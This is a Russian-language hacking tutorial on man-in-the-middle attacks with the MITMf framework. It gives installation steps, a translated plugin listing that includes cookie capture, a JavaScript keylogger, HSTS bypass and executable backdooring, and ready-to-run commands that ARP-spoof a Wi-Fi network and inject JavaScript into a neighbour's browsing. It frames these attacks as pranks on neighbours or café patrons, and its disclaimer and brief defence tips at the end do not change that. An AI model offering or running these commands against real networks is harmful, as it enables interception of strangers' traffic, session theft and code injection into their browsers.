Атака «человек-посередине» (Man-In-The-Middle attacks). Инструкция по MITMf

Привет, друг. Давай продолжим изучать хакерские инструменты и сегодня поговорим о атаке человек-посередине в целом, и утилите MITMf в частности. Так как писать сухой гайд с обилием технической информации мне скучно, а тебе вряд ли интересно будет его читать, то рассказывать о его возможностях я буду на примерах и в плоскости троллинга твоего, условного, соседа. Ну или посетителей какого-нибудь кафе, ну или сам придумай зачем оно вообще тебе надо. При этом, напомню, что вмешательство в работу чужих сетей, может нарушать требования законодательства, а все материалы в этой статье представлены исключительно в образовательных и ознакомительных целях, а также для повышения уровня понимания основ информационной безопасности и не являются призывом к действию.

Ну, а теперь начнём.
MITMf — это фреймворк для проведения атак человек-посередине (Man-In-The-Middle attacks).

Атака человек-посередине, её ещё называют атака посредника — это когда злоумышленник тайно ретранслирует и, при необходимости, изменяет связь между двумя объектами, которые считают, что они взаимодействуют непосредственно друг с другом. То есть это метод компрометации канала связи способом подключения к каналу между контрагентами, с последующим вмешательством в протокол передачи.

человек-посередине

Установка MITMf

Теперь давай перейдём к установке MITMf. Для его работы нужно установить некоторые модули, что бы это сделать в окне терминала пишем:

apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libffi-dev file
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]

Теперь копируем репозиторий:

git clone https://github.com/byt3bl33d3r/MITMf

После окончания копирования нужно перейти в каталог с программой, где инициализировать и обновить подмодули, сделать это можно так:

cd MITMf && git submodule init && git submodule update --recursive

Теперь нужно установить зависимости:

pip install -r requirements.txt

Инструкция MITMf

После окончания всё готово к работе, можем запустить MITMf и ознакомиться с функционалом:

python mitmf.py --help

и мы увидим инструкцию по использованию и список возможностей программы:

Использование: 
mitmf.py -i интерфейс [параметры mitmf] [имя плагина] [параметры плагина]

необязательные аргументы:
   -h, --help показать справочное сообщение и выйти
   -v, --version показать номер версии программы и выйти

MITMf:
Настройки MITMf
--log-level {debug,info}
Укажите уровень журнала [default: info]
-i INTERFACE Интерфейс для прослушивания
-c CONFIG_FILE Укажите файл конфигурации для использования
-p, --preserve-cache Не убивать кеширование клиент/сервер
-r READ_PCAP, --read-pcap READ_PCAP
Разобрать указанный pcap для учётных данных и выйти
-l PORT Порт для прослушивания (по умолчанию 10000)
-f, --favicon Заменять значок блокировки на безопасные запросы.
-k, --killsessions Убить сеансы в процессе.
-F FILTER [FILTER …], --filter FILTER [FILTER …]
Фильтр для применения к входящему трафику
AppCachePoison:
Выполняет атаки отравления кэша приложений
--appoison Загрузить плагин 'AppCachePoison'

Ferret-NG:
Захватывает куки и запускает прокси, который будет загружать их подключенным клиентам
--ferretng загрузить плагин 'Ferret-NG'
--port PORT Порт для включения прокси Ferret-NG (по умолчанию 10010)
--load-cookies FILE Загрузка cookies из файла журнала

Inject:
Внедрить произвольное содержимое в HTML контент
--inject Загрузить плагин 'Inject'
--js-url JS_URL URL JS для внедрения
--js-payload JS_PAYLOAD
JS строка для внедрения
--js-file JS_FILE Файл, содержащий JS для внедрения
--html-url HTML_URL URL адрес HTML кода для внедрения
--html-payload HTML_PAYLOAD
HTML строка для внедрения
--html-file HTML_FILE
Файл, содержащий HTML для внедрения
--per-domain Вставить один раз на домен для каждого клиента.
--rate-limit RATE_LIMIT
Введите один раз каждые RATE_LIMIT секунд для каждого клиента.
--count-limit COUNT_LIMIT
Внедрить только COUNT_LIMIT раз для клиента.
--white-ips IP Внедрить содержимое только для этих ips (через запятую)
--black-ips IP Не внедрять контент для этих ips (через запятую)
--white-domains DOMAINS
Внедрить контент только для этих доменов (через запятую)
--black-domains DOMAINS
Не внедряйте контент для этих доменов (через запятую)

BrowserProfiler:
Попытки перечислить плагины браузера подключенных клиентов
--browserprofiler Загрузить плагин 'BrowserProfiler'

SMBAuth:
Вызывать попытки аутентификации запроса-ответа SMB
--smbauth Загрузить плагин 'SMBAuth'

JSKeylogger:
Внедряет кейлоггер javascript в веб-страницы клиентов
--jskeylogger Загрузить плагин 'JSKeylogger'

ImageRandomizer:
Заменяет изображения на случайные из указанного каталога
--imgrand Загрузить плагин 'ImageRandomizer'
--img-dir DIRECTORY Каталог с изображениями

BrowserSniper:
Осуществить атаку на клиентов с помощью устаревших плагинов для браузера
--browsersniper Загрузить плагин 'BrowserSniper'

Replace:
Заменить произвольное содержимое в HTML содержимом
--replace Загрузить плагин 'Replace'

Captive Portal:
Будь пленником портала!
--captive Загрузить плагин 'Captive Portal'
--portalurl URL Укажите URL, по которому расположен портал, например, http://example.com.
--portaldir LOCALDIR Укажите локальный путь к файлам портала, которые обслуживаются с помощью SimpleHTTPServer на другом порту (см. конфигурацию).
--use-dns Используем ли мы спуфинг dns для показа с более привлекательного URL портала captive.portal при использовании без параметров или portaldir. Требуется DNS для разрешения «captive.portal», например, через настроенный dbs спуфинг. --dns.

Upsidedownternet:
Переворачивает изображения на 180 градусов
--upsidedownternet Загрузить плагин 'Upsidedownternet'

HTA Drive-By:
Выполнить атаку HTA Drive-By на клиентов
--hta Загрузить плагин 'HTA Drive-By'
--text TEXT Текст для отображения на панели уведомлений
--hta-app HTA_APP Путь к приложению HTA [по умолчанию config/hta_driveby/flash_setup.hta]

SMBTrap:
Эксплойт для SMBTrap-уязвимости подключенных клиентов
--smbtrap Загрузить плагин 'SMBTrap'

Spoof:
Перенаправить / изменить трафик, используя ICMP, ARP, DHCP или DNS
--spoof Загрузить плагин 'Spoof'
--arp Перенаправить трафик с помощью ARP-спуфинга
--icmp Перенаправить трафик, используя перенаправление ICMP
--dhcp Перенаправить трафик, используя DHCP предложение
--dns Заменить / Изменить DNS-запросы
--netmask NETMASK Маска сети
--shellshock PAYLOAD Запустить уязвимость Shellshock при спуфинге DHCP и выполнить указанную команду
--gateway GATEWAY Укажите IP-адрес шлюза
--gatewaymac GATEWAYMAC
Укажите MAC шлюза[будет установлен автоматически, если пропущен]
--targets TARGETS Указать хост/хосты которые нужно заразить [если пропущено, по умолчанию будет подсеть]
--ignore IGNORE Указать хост/хосты которые не заражать
--arpmode {rep,req} Режим ARP спуфинга: ответы (rep) или запросы (req) [по умолчанию: rep]

FilePwn:
Исполняемые файлы бэкдора отправляются через http с помощью bdfactory
--filepwn Загрузить плагин 'FilePwn'

SSLstrip+:
Включает SSLstrip+ для частичного обхода HSTS
--hsts Загрузить плагин 'SSLstrip+'

Responder:
Зараженные запросы LLMNR, NBT-NS and MDNS
--responder Загрузить плагин'Responder'
--analyze Позволяет видеть запросы NBT-NS, BROWSER, LLMNR без заражения
--wredir Включает ответы на запросы суффиксов netbios wredir
--nbtns Включает ответы на запросы суффиксов доменов netbios
--fingerprint Делать отпечатки хостов, отправившие запрос NBT-NS или LLMNR
--lm Принудительно понизить хеш-версию LM для Windows XP / 2003 и более ранних версий
--wpad Запустить мошеннический прокси-сервер WPAD
--forcewpadauth Принудительная проверка подлинности NTLM / Basic при извлечении файла wpad.dat (может вызвать запрос на вход в систему)
--basic Возвращает простую аутентификацию HTTP. Если не установлено, будет возвращена аутентификация NTLM

ScreenShotter:
Использует HTML5 Canvas для создания скриншота браузера клиента
--screen Загрузить плагин 'ScreenShotter'
--interval SECONDS Интервал с которым будут делаться снимки экрана (по умолчанию 10 секунд)

Человек-посередине. Как использовать MITMf

А теперь пришло время запустить и посмотреть как всё это дело работает. Для этого надо сформировать команду для запуска. Как мы видим из руководства по MITMf нам, в первую очередь, нужно задать используемый интерфейс и адрес маршрутизатора. Сетевой интерфейс определяем командой:

iwconfig

тут, как правило, ты увидишь eth0 — это подключение через Ethernet-адаптер или wlan0 — беспроводное подключение. А определить адрес маршрутизатора можно командой:

ip rout show

Теперь, нам нужно выбрать плагин, для использования, и задать его параметры. Для первого раза используем что-нибудь простое. Например, давай перевернём все картинки в браузере. Это произойдет на всех компьютерах подключенных к атакуемой сети. Но перед этим нам нужно определится какие плагины использовать. Давай по порядку. Так как нам необходимо изменять трафик, то логично использовать плагины —spoof и —arp. А ещё мы с тобой знаем, что есть такая штука как HSTS (HTTP Strict Transport Security) — это технология принудительно активирующая защищённое соединение через протокол HTTPS и сильно усложняющая проведение атаки «человек-посередине» и, логично было бы, попытаться обойти HSTS, для чего нужно задействовать плагины —dns и —hsts. И в самом конце задействуем плагин переворачивания изображений —upsidedownternet. В итоге, собрав всё воедино, мы получим такой набор команд:

python mitmf.py -i wlan0 --spoof --arp --gateway 10.0.1.1 --dns --hsts --upsidedownternet
человек-посередине mitmf

После запуска мы можем понаблюдать результатами работы в логах:

mitmf

А изображения на веб-сайтах перевернуться на 180 градусов. Представь как пригорит у твоего соседа и как он будет пытаться это пофиксить.

человек-посередине

Это был один из вариантов использования MITMf. В качестве следующего примера попробуем внедрить код в веб страницы которые просматривает твой сосед.

Для этого нам нужно будет использовать плагин —inject в сочетании с атрибутом —js-file в котором мы укажем путь к файлу с кодом. Это может быть абсолютно любой код, но для примера мы создадим простое предупреждение.

Открываем текстовый редактор и пишем:

alert("Закрой браузер, БЫСТРО!!!")

и сохраняем, с названием script.js

После чего пишем команду для запуска:

python mitmf.py -i wlan0 --spoof --arp --gateway 10.0.1.1 --dns --hsts --inject --js-file /root/script.js
mitmf

В результате наш скрипт будет внедрен в веб-запрос цели и как только он откроет сайт, появиться наше предупреждение:

человек-посередине

Я думаю этих примеров достаточно что бы понять принцип использования MITMf. Можешь поэкспериментировать с другими плагинами, например с перехватом cookies или заменой HTML, логика их использования и синтаксис такие же как и с теми, что применили мы.

Защита от атаки человек-посередине в Wi-Fi сети.

Атака посредника очень эффективный инструмент, который предоставляет злоумышленнику немалый функционал. И это действительно серьезная проблема безопасности, забывать о которой точно не стоит. Что касается защиты, то соблюдая определенные меры предосторожности вполне можно себя обезопасить:

  1. Атака человек-посередине станет невозможна если злодей не сможет попасть в твою сеть. Для этого, соблюдай элементарные меры предосторожности: придумай сложный пароль, не дату своего рождения и не свой номер телефона, а такой чтоб его было крайне проблематично подобрать банальным перебором (brute force), сделай свою сеть скрытой, и, пожалуй самое важное, постоянно контролируй, кто подключен к твоей сети;
  2. Не пользуйся общественными wi-fi сетями. Я думаю это должно быть очевидно после прочтения этой статьи. Если прям очень надо воспользоваться, то используй VPN;
  3. Никогда не отправляй конфиденциальную информацию (лучше вообще любую информацию о себе) на веб-сайты, не использующий защищенный протокол HTTPS;
  4. Регулярно обновляй программное обеспечение, антивирус, фаервол и прошивку своего роутера.

А на этом пожалуй всё. Не забывай возвращаться к нам.

Твой Pulse.